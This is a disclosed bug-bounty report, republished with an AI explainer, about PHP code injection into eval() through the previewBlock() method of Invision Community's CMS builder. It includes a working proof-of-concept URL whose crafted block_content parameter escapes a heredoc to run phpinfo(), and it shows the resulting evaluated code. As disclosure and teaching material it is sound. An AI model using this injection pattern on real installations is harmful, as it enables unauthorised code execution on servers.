Skip to content
RCE Disclosed report Intermediate

PHP Code Injection through "previewBlock()" method

The previewBlock() method in the CMS builder passes user-supplied block content to eval() via runProcessFunction(), allowing PHP code injection. An attacker with sidebar management permissions could execute arbitrary PHP code.

egix Follow

Originally disclosed on HackerOne

High 7.2 View original
  • Triaged in under an hour
  • Fixed in 2 months
  • Disclosed after 4 months

Summary: The vulnerability exists because the IPS\cms\modules\front\pages\_builder::previewBlock() method allows to pass arbitrary content to the IPS\_Theme::runProcessFunction() method, which will be used in a call to the eval() function. This can be exploited to inject and execute arbitrary PHP code.

Steps To Reproduce:

  • Login as an user with permission to manage the sidebar
  • Browse to the following URL:
http://[host]/[ips]/index.php?app=cms&module=pages&controller=builder&do=previewBlock&block_plugin=stats&block_template_use_how=copy&block_plugin_app=core&_sending=block_content&block_content=RCE%0ACONTENT;}}phpinfo();die;/*
  • This will result in the following PHP code to be passed to the eval() function from the IPS\_Theme::runProcessFunction() method:
namespace IPS\Theme;
class class_content_template_for_block_
{
	function run(  ) {
		$return = '';
		$return .= <<<CONTENT

RCE
CONTENT;}}phpinfo();die;/*
CONTENT;

		return $return;
}}
  • As a result, the phpinfo() function will be executed

Impact

A malicious user might be able to inject and execute arbitrary PHP code. Successful exploitation of this vulnerability requires an account with permission to manage the sidebar (such as a Moderator or Administrator) and the "cms" application to be enabled.

The original report as published on HackerOne, by egix. Images and videos are our own copies; raw HTML is shown as text. View it on HackerOne.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

Likely, the application fails to sanitise user input before embedding it into a PHP code string that is evaluated with eval().

Impact

A malicious user with sidebar management permissions could inject and execute arbitrary PHP code, but the CMS application must be enabled.

What the attacker needed

Account with sidebar management permission; cms application enabled

How it was found

  1. Log in as a user with permission to manage the sidebar.
  2. Browse to the builder previewBlock URL with crafted parameters.
  3. The crafted block_content is passed to eval() and phpinfo() is executed.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

The application takes input from a user and directly inserts it into PHP code that is then executed. This lets someone who can manage the sidebar run their own PHP commands on the server.

What is RCE?

Running the attacker's code on the target's servers: through command or code injection, unsafe deserialisation or template injection.

More by egix

View all

13 more disclosed reports, best first.

More from Invision Power Services, Inc.

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Remote code execution

The lesson behind this report.

Running the attacker's code on the target's servers: through command or code injection, unsafe deserialisation or template injection.